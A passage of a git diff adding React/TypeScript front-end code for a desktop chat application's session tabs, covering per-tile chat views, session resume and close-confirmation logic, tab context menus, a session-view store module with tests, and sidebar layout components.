+import { resolveStoredSession } from '@/app/session/hooks/use-session-actions/utils'
+import { ModelMenuPanel } from '@/app/shell/model-menu-panel'
+import { transcribeAudio } from '@/clawcodex'
+import { formatRefValue } from '@/components/assistant-ui/directive-text'
+import { CenteredThreadSpinner } from '@/components/assistant-ui/thread/status'
+import { findGroupOfPane } from '@/components/pane-shell/tree/model'
+import { $layoutTree, closeTreePane, moveTreePane, setTreeGroupHeaderHidden } from '@/components/pane-shell/tree/store'
+import { Button } from '@/components/ui/button'
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import { useI18n } from '@/i18n'
+import type { ChatMessage } from '@/lib/chat-messages'
+import { sessionTitle } from '@/lib/chat-runtime'
+import { createComposerAttachmentScope } from '@/store/composer'
+import { $pinnedSessionIds, pinSession, unpinSession } from '@/store/layout'
+import { $activeGatewayProfile } from '@/store/profile'
+import { $projectTree } from '@/store/projects'
+import { sessionAwaitingInput } from '@/store/prompts'
+import {
+  $gatewayState,
+  $selectedStoredSessionId,
+  $sessions,
+  sessionMatchesStoredId,
+  sessionPinId
+} from '@/store/session'
+import {
+  $sessionStates,
+  $sessionTiles,
+  closeSessionTile,
+  discardSessionTile,
+  patchSessionTile,
+  type SessionTile,
+  sessionTileDelegate
+} from '@/store/session-states'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import type { SessionDragPayload } from './composer/inline-refs'
+import { type ComposerScope, ComposerScopeProvider } from './composer/scope'
+import { useComposerActions } from './hooks/use-composer-actions'
+import { paneMirror } from './pane-mirror'
+import { startSessionDrag } from './session-drag'
+import { SessionStatusDot } from './session-status-dot'
+import { useSessionTileActions } from './session-tile-actions'
+import { type SessionView, SessionViewProvider } from './session-view'
+import { SessionContextMenu } from './sidebar/session-actions-menu'
+import { lastVisibleMessageIsUser } from './thread-loading'
+
+import { ChatView } from '.'
+
+const NO_MESSAGES: ChatMessage[] = []
+
+/** The tile's SessionView: the same atom shape the primary chat renders
+ *  from, computed from this session's slice of `$sessionStates`. */
+function buildTileView(storedSessionId: string): SessionView {
+  const $runtimeId = computed(
+    $sessionTiles,
+    tiles => tiles.find(t => t.storedSessionId === storedSessionId)?.runtimeId ?? null
+  )
+
+  const $state = computed([$runtimeId, $sessionStates], (runtimeId, states) =>
+    runtimeId ? states[runtimeId] : undefined
+  )
+
+  const $messages = computed($state, state => state?.messages ?? NO_MESSAGES)
+
+  return {
+    kind: 'tile',
+    $awaitingResponse: computed($state, state => Boolean(state?.awaitingResponse)),
+    $busy: computed($state, state => Boolean(state?.busy)),
+    $cwd: computed($state, state => state?.cwd ?? ''),
+    $fast: computed($state, state => Boolean(state?.fast)),
+    $lastVisibleIsUser: computed($messages, lastVisibleMessageIsUser),
+    $messages,
+    $messagesEmpty: computed($messages, messages => messages.length === 0),
+    $model: computed($state, state => state?.model ?? ''),
+    $provider: computed($state, state => state?.provider ?? ''),
+    $reasoningEffort: computed($state, state => state?.reasoningEffort ?? ''),
+    $runtimeId,
+    // Constant for the tile's lifetime — a plain atom, not a computed.
+    $storedId: atom(storedSessionId)
+  }
+}
+
+// Module-level constants so these ChatView props are referentially stable —
+// tiles have no pin/delete affordance, and transcription needs no per-tile state.
+const noop = () => undefined
+
+const tileTranscribeAudio = async (audio: Blob) =>
+  (await transcribeAudio(await blobToDataUrl(audio), audio.type)).transcript
+
+function TileChat({
+  runtimeId,
+  storedSessionId,
+  view
+}: {
+  runtimeId: string
+  storedSessionId: string
+  view: SessionView
+}) {
+  const { gateway, requestGateway } = useGatewayRequest()
+  const queryClient = useQueryClient()
+  const { selectModel } = useModelControls({ queryClient, requestGateway })
+  const activeGatewayProfile = useStore($activeGatewayProfile)
+  const cwd = useStore(view.$cwd)
+  const gatewayOpen = useStore($gatewayState) === 'open'
+
+  // One attachment set + focus key per tile, stable for the tile's lifetime.
+  const attachments = useRef(createComposerAttachmentScope()).current
+
+  const scope = useMemo<ComposerScope>(
+    () => ({
+      $awaitingInput: sessionAwaitingInput(runtimeId),
+      $messages: view.$messages,
+      attachments,
+      target: `tile:${storedSessionId}`
+    }),
+    [attachments, runtimeId, storedSessionId, view.$messages]
+  )
+
+  const actions = useSessionTileActions({ runtimeId, scope, storedSessionId })
+
+  // The same attach/pick/paste/drop pipeline the primary composer uses,
+  // pointed at this tile's chips + session.
+  const composer = useComposerActions({
+    activeSessionId: runtimeId,
+    currentCwd: cwd,
+    requestGateway,
+    scope: { add: attachments.add, remove: attachments.remove, target: scope.target }
+  })
+
+  // ChatView is memo()d — every callback prop must be referentially stable or
+  // the memo never holds and each tile-level render (idle ticks, unrelated
+  // store updates) re-renders the whole chat shell. The individual composer
+  // functions are useCallback'd inside useComposerActions, so hoisting these
+  // wrappers onto them keeps identity stable across renders.
+  const { addContextRefAttachment, pasteClipboardImage, pickContextPaths, pickImages, removeAttachment } = composer
+
+  const onAddUrl = useCallback(
+    (url: string) => addContextRefAttachment(`@url:${formatRefValue(url)}`, url),
+    [addContextRefAttachment]
+  )
+
+  const onPasteClipboardImage = useCallback(
+    (opts?: { silent?: boolean }) => pasteClipboardImage(opts),
+    [pasteClipboardImage]
+  )
+
+  const onPickFiles = useCallback(() => void pickContextPaths('file'), [pickContextPaths])
+  const onPickFolders = useCallback(() => void pickContextPaths('folder'), [pickContextPaths])
+  const onPickImages = useCallback(() => void pickImages(), [pickImages])
+  const onRemoveAttachment = useCallback((id: string) => void removeAttachment(id), [removeAttachment])
+  const onRetryResume = useCallback(() => patchSessionTile(storedSessionId, { error: undefined }), [storedSessionId])
+
+  // Per-tile model menu — rendered under this tile's SessionView so the pill
+  // + switch target THIS runtime, not the primary (which may be mid-turn).
+  const modelMenuContent = useMemo(
+    () =>
+      gatewayOpen ? (
+        <ModelMenuPanel
+          gateway={gateway || undefined}
+          onSelectModel={selectModel}
+          profile={activeGatewayProfile}
+          requestGateway={requestGateway}
+        />
+      ) : null,
+    [activeGatewayProfile, gateway, gatewayOpen, requestGateway, selectModel]
+  )
+
+  return (
+    <SessionViewProvider value={view}>
+      <ComposerScopeProvider value={scope}>
+        <ChatView
+          gateway={gateway}
+          modelMenuContent={modelMenuContent}
+          onAddContextRef={addContextRefAttachment}
+          onAddUrl={onAddUrl}
+          onAttachDroppedItems={composer.attachDroppedItems}
+          onAttachImageBlob={composer.attachImageBlob}
+          onCancel={actions.cancelRun}
+          onDeleteSelectedSession={noop}
+          onDismissError={actions.dismissError}
+          onEdit={actions.editMessage}
+          onPasteClipboardImage={onPasteClipboardImage}
+          onPickFiles={onPickFiles}
+          onPickFolders={onPickFolders}
+          onPickImages={onPickImages}
+          onReload={actions.reloadFromMessage}
+          onRemoveAttachment={onRemoveAttachment}
+          onRestoreToMessage={actions.restoreToMessage}
+          onRetryResume={onRetryResume}
+          onSteer={actions.steerPrompt}
+          onSubmit={actions.submitText}
+          onThreadMessagesChange={actions.handleThreadMessagesChange}
+          onToggleSelectedPin={noop}
+          onTranscribeAudio={tileTranscribeAudio}
+        />
+      </ComposerScopeProvider>
+    </SessionViewProvider>
+  )
+}
+
+export function SessionTilePane({ storedSessionId }: { storedSessionId: string }) {
+  const tiles = useStore($sessionTiles)
+  const tile = tiles.find(t => t.storedSessionId === storedSessionId)
+  const runtimeId = tile?.runtimeId ?? null
+  const gatewayOpen = useStore($gatewayState) === 'open'
+  const resumingRef = useRef(false)
+  const view = useMemo(() => buildTileView(storedSessionId), [storedSessionId])
+
+  // A tab-strip "+"/⌘T tab is created UNLISTED — its session stays out of
+  // $sessions (no sidebar clutter) until it's actually used, so the tab shows
+  // "New session". The moment this tile has a message, pull its row into
+  // $sessions via the lightweight by-id lookup so the tab (and a sidebar row)
+  // resolve the real title. `resolveStoredSession` no-ops when it's already
+  // listed, and 404s harmlessly for an in-memory draft that hasn't persisted a
+  // turn yet — so we retry across that brief persist lag and stop as soon as it
+  // lands (a global turn-complete refresh may beat us to it).
+  const hasMessages = useStore(view.$messagesEmpty) === false
+
+  useEffect(() => {
+    const alreadyListed = () => $sessions.get().some(s => sessionMatchesStoredId(s, storedSessionId))
+
+    if (!runtimeId || !hasMessages || alreadyListed()) {
+      return
+    }
+
+    let cancelled = false
+    let timer: number | undefined
+
+    const attempt = (remaining: number) => {
+      if (cancelled || alreadyListed()) {
+        return
+      }
+
+      void resolveStoredSession(storedSessionId)
+        .then(resolved => {
+          if (cancelled || resolved || remaining <= 0) {
+            return
+          }
+
+          timer = window.setTimeout(() => attempt(remaining - 1), 500)
+        })
+        .catch(() => undefined)
+    }
+
+    attempt(6)
+
+    return () => {
+      cancelled = true
+
+      if (timer !== undefined) {
+        window.clearTimeout(timer)
+      }
+    }
+  }, [hasMessages, runtimeId, storedSessionId])
+
+  // Same gating as the primary's route resume (use-route-resume): never fire
+  // session.resume before the gateway is OPEN. Persisted tiles mount at boot
+  // while it's still connecting — an ungated resume rejected there and
+  // latched every restored tile into the error card.
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (!gatewayOpen || runtimeId || tile?.error || resumingRef.current) {
+      return
+    }
+
+    const delegate = sessionTileDelegate()
+
+    if (!delegate) {
+      return
+    }
+
+    resumingRef.current = true
+
+    delegate
+      .resumeTile(storedSessionId)
+      .then(id => patchSessionTile(storedSessionId, { error: undefined, runtimeId: id }))
+      .catch((err: unknown) => {
+        const message = err instanceof Error ? err.message : String(err)
+
+        // A gone session (404 / "Session not found") is terminal — a stale or
+        // cross-profile persisted tile. Discard it instead of latching an error
+        // that re-retries on every reconnect (the "Session not found" spam).
+        if (/session not found|\b404\b/i.test(message)) {
+          discardSessionTile(storedSessionId)
+        } else {
+          patchSessionTile(storedSessionId, { error: message })
+        }
+      })
+      .finally(() => {
+        resumingRef.current = false
+      })
+  }, [gatewayOpen, runtimeId, storedSessionId, tile?.error])
+
+  // The gateway (re)opening invalidates any latched error — it likely came
+  // from a not-yet-open gateway or the previous connection. Clearing it
+  // retriggers the resume effect: one bounded auto-retry per (re)connect,
+  // mirroring the primary path's became-open resync.
+  useEffect(() => {
+    if (gatewayOpen && tile?.error) {
+      patchSessionTile(storedSessionId, { error: undefined })
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [gatewayOpen, storedSessionId])
+
+  if (tile?.error) {
+    return (
+      <div className="grid h-full place-items-center p-4">
+        <div className="max-w-[24rem] space-y-2 text-center font-mono text-[11px]">
+          <div className="text-(--ui-danger,#f87171)">Couldn't open this session</div>
+          <div className="break-words text-(--ui-text-quaternary)">{tile.error}</div>
+          <Button onClick={() => patchSessionTile(storedSessionId, { error: undefined })} size="sm" variant="outline">
+            Retry
+          </Button>
+        </div>
+      </div>
+    )
+  }
+
+  if (!runtimeId) {
+    // The SAME session loader the primary thread shows (Thread's
+    // loading === 'session' branch) — one loading language everywhere.
+    return (
+      <div className="relative h-full">
+        <CenteredThreadSpinner />
+      </div>
+    )
+  }
+
+  return <TileChat runtimeId={runtimeId} storedSessionId={storedSessionId} view={view} />
+}
+
+// ---------------------------------------------------------------------------
+// Tile -> pane contribution sync (call once from the app root).
+// ---------------------------------------------------------------------------
+
+/** Resolve a tile's stored row: the recents list first, then the project
+ *  tree. A session opened as a tab from a project group is often older than
+ *  the paginated recents page, so it has no `$sessions` row at all until new
+ *  activity lands it there — resolving through the tree keeps its tab titled
+ *  and tinted instead of a grey "Session" placeholder. */
+export function tileStoredRow(storedSessionId: string): SessionInfo | undefined {
+  const match = (s: SessionInfo) => sessionMatchesStoredId(s, storedSessionId)
+
+  return (
+    $sessions.get().find(match) ??
+    $projectTree
+      .get()
+      .flatMap(p => [...p.repos.flatMap(r => r.groups.flatMap(g => g.sessions)), ...(p.previewSessions ?? [])])
+      .find(match)
+  )
+}
+
+function tileTitle(storedSessionId: string): string {
+  const stored = tileStoredRow(storedSessionId)
+
+  // A tab-strip "+" tab is unlisted until its first turn persists, so it isn't
+  // in $sessions yet — label it "New session" rather than a bare "Session".
+  return stored ? sessionTitle(stored) : 'New session'
+}
+
+/** The `@session` link payload for a tile tab drag — id + owning profile + title. */
+function tileDragPayload(storedSessionId: string): SessionDragPayload {
+  const stored = tileStoredRow(storedSessionId)
+
+  return { id: storedSessionId, profile: stored?.profile ?? '', title: tileTitle(storedSessionId) }
+}
+
+// ---------------------------------------------------------------------------
+// Close confirmation — a BUSY tab (streaming, or blocked on clarify/approval
+// input) doesn't close silently.
+// ---------------------------------------------------------------------------
+
+/** Stored id awaiting close confirmation (null = no dialog). */
+const $confirmCloseTile = atom<null | string>(null)
+
+/** The tile closer, gated: a quiet session closes immediately; a busy or
+ *  input-blocked one asks first. One state read — the tile's runtime slice. */
+export function requestCloseSessionTile(storedSessionId: string): void {
+  const runtimeId = $sessionTiles.get().find(t => t.storedSessionId === storedSessionId)?.runtimeId
+  const state = runtimeId ? $sessionStates.get()[runtimeId] : undefined
+
+  if (state?.busy || state?.awaitingResponse || state?.needsInput) {
+    $confirmCloseTile.set(storedSessionId)
+  } else {
+    closeSessionTile(storedSessionId)
+  }
+}
+
+/** Mounted once at the shell root: the "Close running tab?" confirmation. */
+export function SessionTileCloseConfirm() {
+  const { t } = useI18n()
+  const storedSessionId = useStore($confirmCloseTile)
+
+  return (
+    <ConfirmDialog
+      confirmLabel={t.zones.closeRunningConfirm}
+      description={t.zones.closeRunningBody}
+      destructive
+      onClose={() => $confirmCloseTile.set(null)}
+      onConfirm={() => {
+        if (storedSessionId) {
+          closeSessionTile(storedSessionId)
+        }
+      }}
+      open={storedSessionId !== null}
+      title={t.zones.closeRunningTitle}
+    />
+  )
+}
+
+/** Layout reset → every session tile collapses into the MAIN zone as a tab
+ *  after the workspace (the primary session stays the first tab), the "smart"
+ *  reset: N scattered tiles become one tab bar over the chat instead of
+ *  re-docking to their old edges.
+ *
+ *  Runs BEFORE generic adoption (see registerLayoutResetHandler) — the tiles
+ *  aren't in the fresh tree yet, so each `moveTreePane` ADDS the tile into the
+ *  workspace group as a tab (append). The main group id is re-read each pass
+ *  because appending returns a new tree. */
+export function stackSessionTilesIntoMain(): void {
+  for (const tile of $sessionTiles.get()) {
+    const tree = $layoutTree.get()
+    const mainGroup = tree ? findGroupOfPane(tree, 'workspace')?.id : null
+
+    if (mainGroup) {
+      moveTreePane(`session-tile:${tile.storedSessionId}`, { groupId: mainGroup, pos: 'center' })
+    }
+  }
+}
+
+/** The three scalars the tab menu actually renders, derived from the stored
+ *  row. Subscribing to `$sessions` + `$projectTree` wholesale re-rendered
+ *  every tab's menu wrapper on ANY session-list or tree churn (polls, title
+ *  updates in other sessions) — for a context menu that's almost never open.
+ *  Same class as the TreeGroup fix (#72245): derive narrowly, bail out unless
+ *  the derived values change. */
+function useTileMenuRow(storedSessionId: string): { pinId: string; profile?: string; title: string } {
+  const cache = useRef<{ key: string; value: { pinId: string; profile?: string; title: string } } | null>(null)
+
+  const subscribe = useCallback((onChange: () => void) => {
+    const offSessions = $sessions.listen(onChange)
+    const offTree = $projectTree.listen(onChange)
+
+    return () => {
+      offSessions()
+      offTree()
+    }
+  }, [])
+
+  return useSyncExternalStore(subscribe, () => {
+    const stored = tileStoredRow(storedSessionId)
+    const pinId = stored ? sessionPinId(stored) : storedSessionId
+    const title = tileTitle(storedSessionId)
+    const profile = stored?.profile
+    const key = `${pinId}\u0000${title}\u0000${profile ?? ''}`
+
+    if (cache.current?.key !== key) {
+      cache.current = { key, value: { pinId, profile, title } }
+    }
+
+    return cache.current.value
+  })
+}
+
+/** A session TAB's context menu: the full session verb set (pin, copy id, new
+ *  window, branch, rename, archive, delete) — the SAME menu a sidebar row
+ *  gets, targeted through the tile delegate (whose verbs are generic over
+ *  stored ids, primary included). The wrapper stops the contextmenu from also
+ *  opening the zone strip's menu. Shared by tile tabs AND the main tab. */
+export function SessionTabMenu({
+  children,
+  onClose,
+  onHideTabBar,
+  storedSessionId,
+  tabPaneId
+}: {
+  children: React.ReactElement
+  /** Close this tab (tiles; the main tab passes nothing). */
+  onClose?: () => void
+  /** Hide the zone's tab bar (main tab only — the sticky bar's off switch). */
+  onHideTabBar?: () => void
+  storedSessionId: string
+  /** Layout-tree pane id — powers the Close-others/right/all verbs. */
+  tabPaneId: string
+}) {
+  const { pinId, profile, title } = useTileMenuRow(storedSessionId)
+  const pinnedSessionIds = useStore($pinnedSessionIds)
+  const pinned = pinnedSessionIds.includes(pinId)
+
+  return (
+    <span className="contents" onContextMenu={event => event.stopPropagation()}>
+      <SessionContextMenu
+        onArchive={() => void sessionTileDelegate()?.archiveSession(storedSessionId)}
+        onBranch={() => void sessionTileDelegate()?.branchSession(storedSessionId)}
+        onClose={onClose}
+        onDelete={() => void sessionTileDelegate()?.deleteSession(storedSessionId)}
+        onHideTabBar={onHideTabBar}
+        onPin={() => (pinned ? unpinSession(pinId) : pinSession(pinId))}
+        pinned={pinned}
+        profile={profile}
+        sessionId={storedSessionId}
+        surface="tab"
+        tabPaneId={tabPaneId}
+        title={title}
+      >
+        {children}
+      </SessionContextMenu>
+    </span>
+  )
+}
+
+/** The MAIN tab's menu: the same session verbs targeting the primary's loaded
+ *  session, plus Close (the tab empties to a fresh draft — the workspace pane
+ *  itself never leaves the tree) and the bar's off switch (the bar sticky-shows
+ *  once a tab is ever gained; this is the explicit way back). A fresh draft has
+ *  no session — no menu. */
+export function WorkspaceTabMenu({ children }: { children: React.ReactElement }) {
+  const selected = useStore($selectedStoredSessionId)
+
+  const hideTabBar = () => {
+    const tree = $layoutTree.get()
+    const group = tree ? findGroupOfPane(tree, 'workspace') : null
+
+    if (group) {
+      setTreeGroupHeaderHidden(group.id, true)
+    }
+  }
+
+  if (!selected) {
+    return children
+  }
+
+  return (
+    <SessionTabMenu
+      onClose={() => closeTreePane('workspace')}
+      onHideTabBar={hideTabBar}
+      storedSessionId={selected}
+      tabPaneId="workspace"
+    >
+      {children}
+    </SessionTabMenu>
+  )
+}
+
+/** Keep pane contributions mirroring `$sessionTiles` (+ titles from
+ *  `$sessions`). Tiles dock against main on the chosen edge, flex width. */
+export const watchSessionTiles = paneMirror<SessionTile>({
+  source: $sessionTiles,
+  // $projectTree: a tile whose session is older than the recents page resolves
+  // its title through the tree, which loads after the tiles register. (The tab's
+  // status dot subscribes to color/state itself, so it needs no `also` entry.)
+  also: [$sessions, $projectTree],
+  key: t => t.storedSessionId,
+  prefix: 'session-tile',
+  dir: t => t.dir,
+  anchor: t => t.anchor,
+  before: t => t.before,
+  minWidth: '20rem',
+  title: tileTitle,
+  // The tab's status dot — the SAME primitive the sidebar row renders, keyed by
+  // the stored id, so a session's status/color can never disagree between the
+  // two surfaces. Self-subscribing (live state + resolved color), so the strip
+  // needn't re-sync when it changes.
+  tabLead: storedSessionId => (
+    <SessionStatusDot session={tileStoredRow(storedSessionId)} storedSessionId={storedSessionId} />
+  ),
+  render: storedSessionId => <SessionTilePane storedSessionId={storedSessionId} />,
+  tabWrap: (storedSessionId, tab) => (
+    <SessionTabMenu
+      onClose={() => requestCloseSessionTile(storedSessionId)}
+      storedSessionId={storedSessionId}
+      tabPaneId={`session-tile:${storedSessionId}`}
+    >
+      {tab}
+    </SessionTabMenu>
+  ),
+  // A tile's tab drags like a sidebar row — stack / split / drop-to-link — with
+  // its tap (activate) + double-tap (hide bar) preserved. Always takes the drag.
+  tabDrag: (storedSessionId, event, onTap, double) => {
+    startSessionDrag(tileDragPayload(storedSessionId), event, { double, onTap })
+
+    return true
+  },
+  close: requestCloseSessionTile
+})
diff --git a/ui-desktop/src/app/chat/session-view.test.ts b/ui-desktop/src/app/chat/session-view.test.ts
new file mode 100644
index 000000000..366af2327
--- /dev/null
+++ b/ui-desktop/src/app/chat/session-view.test.ts
@@ -0,0 +1,88 @@
+import { cleanup } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { $activeSessionId, $busy, $messages } from '@/store/session'
+import { $sessionStates, dropSessionState, publishSessionState } from '@/store/session-states'
+
+import { PRIMARY_SESSION_VIEW } from './session-view'
+
+const message = (id: string, text: string) => ({
+  id,
+  parts: [{ type: 'text' as const, text }],
+  role: 'assistant' as const
+})
+
+const stateWith = (runtimeId: string, text: string, busy: boolean) => ({
+  ...createClientSessionState(`stored-${runtimeId}`),
+  messages: [message(`${runtimeId}-msg`, text)],
+  busy
+})
+
+/**
+ * The workspace pane is just the first tab: it renders from the active
+ * session's own `$sessionStates` slice, exactly like a ⌘T tile.
+ *
+ * The regression this guards: the pane used to render straight off the global
+ * `$messages`/`$busy` atoms — a mirror of whichever session was active. With
+ * two turns in flight, navigating away from a still-streaming session left it
+ * painting into the surface now showing a different conversation.
+ */
+describe('primary session view reads its own session slice', () => {
+  beforeEach(() => {
+    $sessionStates.set({})
+    $activeSessionId.set(null)
+    $messages.set([])
+    $busy.set(false)
+  })
+
+  afterEach(cleanup)
+
+  it('shows the active session transcript, not a background session still streaming', () => {
+    publishSessionState('runtime-background', stateWith('runtime-background', 'background turn', true))
+    publishSessionState('runtime-foreground', stateWith('runtime-foreground', 'foreground turn', false))
+
+    $activeSessionId.set('runtime-foreground')
+
+    expect(PRIMARY_SESSION_VIEW.$messages.get()).toEqual([message('runtime-foreground-msg', 'foreground turn')])
+    expect(PRIMARY_SESSION_VIEW.$busy.get()).toBe(false)
+  })
+
+  it('ignores a background session that keeps streaming after the user switches away', () => {
+    publishSessionState('runtime-a', stateWith('runtime-a', 'session A turn', true))
+    $activeSessionId.set('runtime-b')
+    publishSessionState('runtime-b', stateWith('runtime-b', 'session B turn', false))
+
+    // Session A streams on: another delta lands for the session the user left.
+    publishSessionState('runtime-a', {
+      ...stateWith('runtime-a', 'session A turn', true),
+      messages: [message('runtime-a-msg', 'session A turn'), message('runtime-a-late', 'late delta')]
+    })
+
+    expect(PRIMARY_SESSION_VIEW.$messages.get()).toEqual([message('runtime-b-msg', 'session B turn')])
+    expect(PRIMARY_SESSION_VIEW.$lastVisibleIsUser.get()).toBe(false)
+    expect(PRIMARY_SESSION_VIEW.$busy.get()).toBe(false)
+  })
+
+  it('falls back to the draft atoms while the chat has no runtime session yet', () => {
+    $messages.set([message('draft-msg', 'unsent draft')])
+    $busy.set(true)
+
+    expect(PRIMARY_SESSION_VIEW.$runtimeId.get()).toBeNull()
+    expect(PRIMARY_SESSION_VIEW.$messages.get()).toEqual([message('draft-msg', 'unsent draft')])
+    expect(PRIMARY_SESSION_VIEW.$busy.get()).toBe(true)
+    expect(PRIMARY_SESSION_VIEW.$messagesEmpty.get()).toBe(false)
+  })
+
+  it('returns to the draft atoms when the active session state is dropped', () => {
+    publishSessionState('runtime-a', stateWith('runtime-a', 'session A turn', true))
+    $activeSessionId.set('runtime-a')
+
+    expect(PRIMARY_SESSION_VIEW.$messages.get()).toEqual([message('runtime-a-msg', 'session A turn')])
+
+    dropSessionState('runtime-a')
+
+    expect(PRIMARY_SESSION_VIEW.$messages.get()).toEqual([])
+    expect(PRIMARY_SESSION_VIEW.$messagesEmpty.get()).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/app/chat/session-view.tsx b/ui-desktop/src/app/chat/session-view.tsx
new file mode 100644
index 000000000..97ec1d0a3
--- /dev/null
+++ b/ui-desktop/src/app/chat/session-view.tsx
@@ -0,0 +1,99 @@
+import { computed, type ReadableAtom } from 'nanostores'
+import { createContext, useContext } from 'react'
+
+import type { ClientSessionState } from '@/app/types'
+import type { ChatMessage } from '@/lib/chat-messages'
+import {
+  $activeSessionId,
+  $awaitingResponse,
+  $busy,
+  $currentCwd,
+  $currentFastMode,
+  $currentModel,
+  $currentProvider,
+  $currentReasoningEffort,
+  $messages,
+  $selectedStoredSessionId
+} from '@/store/session'
+import { $sessionStates } from '@/store/session-states'
+
+import { lastVisibleMessageIsUser } from './thread-loading'
+
+/**
+ * SESSION VIEW — the store surface a ChatView renders from. Every session,
+ * including the one in the workspace pane, renders from ITS OWN slice of
+ * `$sessionStates`. The workspace pane is just the first tab: a session
+ * surface with no privileged state of its own.
+ *
+ * That symmetry is load-bearing. The pane used to render off the global
+ * `$messages`/`$busy` atoms — a mirror of whichever session was active — so
+ * with two turns in flight (⌘T tabs made that routine), navigating away from
+ * a still-streaming session left it painting into the surface now showing a
+ * different conversation. Reading the per-session slice makes that
+ * structurally impossible rather than merely guarded.
+ *
+ * The global atoms stay the DRAFT surface: a new chat has no runtime id, and
+ * therefore no slice, until its first turn creates one.
+ *
+ * Everything is atoms (not values) so subscription granularity survives:
+ * ChatView subscribes only to the coarse edges; `$messages` stays boundary-
+ * only exactly like the primary view's perf contract.
+ */
+export interface SessionView {
+  kind: 'primary' | 'tile'
+  $runtimeId: ReadableAtom<string | null>
+  $storedId: ReadableAtom<string | null>
+  $messages: ReadableAtom<ChatMessage[]>
+  $busy: ReadableAtom<boolean>
+  $awaitingResponse: ReadableAtom<boolean>
+  $messagesEmpty: ReadableAtom<boolean>
+  $lastVisibleIsUser: ReadableAtom<boolean>
+  $cwd: ReadableAtom<string>
+  $model: ReadableAtom<string>
+  $provider: ReadableAtom<string>
+  $fast: ReadableAtom<boolean>
+  $reasoningEffort: ReadableAtom<string>
+}
+
+/** The active session's own slice, or `undefined` while it's a draft. */
+const $primaryState = computed([$activeSessionId, $sessionStates], (runtimeId, states) =>
+  runtimeId ? states[runtimeId] : undefined
+)
+
+/**
+ * Read one field from the active session's slice, falling back to the global
+ * draft atom while no runtime exists yet. Once a session HAS a slice, that
+ * slice is authoritative — a background session publishing its own state can
+ * never reach this view.
+ */
+function primaryField<T>(select: (state: ClientSessionState) => T, $draft: ReadableAtom<T>): ReadableAtom<T> {
+  const $field: ReadableAtom<T> = computed([$primaryState, $draft], (state, draft: T) =>
+    state ? select(state) : draft
+  )
+
+  return $field
+}
+
+const $primaryMessages = primaryField<ChatMessage[]>(state => state.messages, $messages)
+
+export const PRIMARY_SESSION_VIEW: SessionView = {
+  kind: 'primary',
+  $awaitingResponse: primaryField<boolean>(state => state.awaitingResponse, $awaitingResponse),
+  $busy: primaryField<boolean>(state => state.busy, $busy),
+  $cwd: primaryField<string>(state => state.cwd, $currentCwd),
+  $fast: primaryField<boolean>(state => state.fast, $currentFastMode),
+  $lastVisibleIsUser: computed($primaryMessages, lastVisibleMessageIsUser),
+  $messages: $primaryMessages,
+  $messagesEmpty: computed($primaryMessages, messages => messages.length === 0),
+  $model: primaryField<string>(state => state.model, $currentModel),
+  $provider: primaryField<string>(state => state.provider, $currentProvider),
+  $reasoningEffort: primaryField<string>(state => state.reasoningEffort, $currentReasoningEffort),
+  $runtimeId: $activeSessionId,
+  $storedId: $selectedStoredSessionId
+}
+
+const SessionViewContext = createContext<SessionView>(PRIMARY_SESSION_VIEW)
+
+export const SessionViewProvider = SessionViewContext.Provider
+
+export const useSessionView = (): SessionView => useContext(SessionViewContext)
diff --git a/ui-desktop/src/app/chat/sidebar/chrome.tsx b/ui-desktop/src/app/chat/sidebar/chrome.tsx
new file mode 100644
index 000000000..8e2da4878
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/chrome.tsx
@@ -0,0 +1,168 @@
+import type * as React from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { RowButton } from '@/components/ui/row-button'
+import { cn } from '@/lib/utils'
+
+// Shared, content-agnostic sidebar chrome — used by both the flat session
+// sections and the project/workspace tree, so it lives outside either to keep
+// imports one-directional (no index <-> projects cycle).
+
+/** The muted slot beside a section label (loading glyph, status hint). */
+export function SidebarSectionMeta({ children }: { children: React.ReactNode }) {
+  return <span className="shrink-0 text-[0.6875rem] font-medium text-(--ui-text-quaternary)">{children}</span>
+}
+
+// ── Row geometry (session row is canonical — everything composes these) ─────
+//
+// Height lives ONLY on SidebarRowShell (min-h-[1.625rem]). Inset children
+// stretch to fill the cell and center content internally — never items-center
+// on the shell grid, or short clusters (projects) float 1–2px off sessions.
+
+const rowMinH = 'min-h-[1.625rem]'
+const rowPadX = 'pl-2 pr-1'
+const rowGap = 'gap-1.5'
+const rowLead = 'grid size-3.5 shrink-0 place-items-center'
+const rowInset = cn(rowPadX, rowGap, 'flex h-full min-w-0 items-center self-stretch py-0.5')
+const rowLabel = 'min-w-0 truncate text-[0.8125rem] leading-none text-(--ui-text-secondary)'
+
+/** Codicon size in sidebar row leads — matches the file tree (`tree.tsx`). */
+export const SIDEBAR_LEAD_ICON_SIZE = '0.875rem' as const
+
+/** Vertical stack of rows (gap-px, single column). */
+export function SidebarRowStack({ className, ...props }: React.ComponentProps<'div'>) {
+  return <div className={cn('grid grid-cols-[minmax(0,1fr)] gap-px', className)} {...props} />
+}
+
+/** Nested rows (session previews, worktree bodies). */
+export function SidebarRowNest({ className, ...props }: React.ComponentProps<'div'>) {
+  return <SidebarRowStack className={cn('pb-1 pl-4', className)} {...props} />
+}
+
+/**
+ * Chronological date-bucket separator ("Yesterday" / "Last week" / "June") for
+ * the session list. One flat row — a small caption plus a hairline rule — so it
+ * groups sessions by recency without adding a level of indentation.
+ */
+export function SidebarDateDivider({ className, label, ...props }: React.ComponentProps<'div'> & { label: string }) {
+  return (
+    <div className={cn('flex select-none items-center gap-2 px-2 pb-0.5 pt-2', className)} {...props}>
+      <span className="shrink-0 text-[0.64rem] font-semibold uppercase tracking-[0.12em] text-(--ui-text-quaternary)">
+        {label}
+      </span>
+      <span aria-hidden="true" className="h-px flex-1 bg-(--ui-stroke-tertiary)" />
+    </div>
+  )
+}
+
+/** Outer grid — sole owner of row height. */
+export function SidebarRowShell({
+  actions,
+  children,
+  className,
+  ...props
+}: React.ComponentProps<'div'> & { actions?: React.ReactNode }) {
+  return (
+    <div className={cn(rowMinH, 'grid grid-cols-[minmax(0,1fr)_auto] items-stretch rounded-md', className)} {...props}>
+      {children}
